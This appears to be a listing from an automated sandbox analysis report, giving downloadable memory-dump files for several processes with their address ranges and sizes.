memory/1672-55-0x0000000000E00000-0x0000000002053000-memory.dmp

Filesize
18.3MB

Download
memory/1680-4-0x00007FFE96713000-0x00007FFE96715000-memory.dmp

Filesize
8KB

Download
memory/1680-10-0x0000028293210000-0x0000028293232000-memory.dmp

Filesize
136KB

Download
memory/1680-15-0x00007FFE96710000-0x00007FFE971D2000-memory.dmp

Filesize
10.8MB

Download
memory/1680-16-0x00007FFE96710000-0x00007FFE971D2000-memory.dmp

Filesize
10.8MB

Download
memory/1680-17-0x00007FFE96710000-0x00007FFE971D2000-memory.dmp

Filesize
10.8MB

Download
memory/1680-22-0x00007FFE96710000-0x00007FFE971D2000-memory.dmp

Filesize
10.8MB

Download
memory/4560-37-0x0000000005EB0000-0x0000000006207000-memory.dmp

Filesize
3.3MB

Download
memory/4560-42-0x0000000007480000-0x000000000749A000-memory.dmp

Filesize
104KB

Download
memory/4560-26-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Filesize
408KB

Download
memory/4560-25-0x00000000053B0000-0x00000000053D2000-memory.dmp

Filesize
136KB

Download
memory/4560-39-0x00000000062F0000-0x000000000630E000-memory.dmp

Filesize
120KB

Download
memory/4560-40-0x0000000006340000-0x000000000638C000-memory.dmp

Filesize
304KB

Download
memory/4560-41-0x0000000007AE0000-0x000000000815A000-memory.dmp

Filesize
6.5MB

Download
memory/4560-27-0x0000000005D40000-0x0000000005DA6000-memory.dmp

Filesize
408KB

Download
memory/4560-43-0x00000000075E0000-0x0000000007676000-memory.dmp

Filesize
600KB

Download
memory/4560-44-0x0000000007540000-0x0000000007562000-memory.dmp

Filesize
136KB

Download
memory/4560-45-0x0000000008710000-0x0000000008CB6000-memory.dmp

Filesize
5.6MB

Download
memory/4560-24-0x00000000054C0000-0x0000000005B8A000-memory.dmp

Filesize
6.8MB

Download
memory/4560-47-0x0000000008CC0000-0x000000000DDFA000-memory.dmp

Filesize
81.2MB

Download
memory/4560-23-0x0000000002970000-0x00000000029A6000-memory.dmp

Filesize
216KB

Download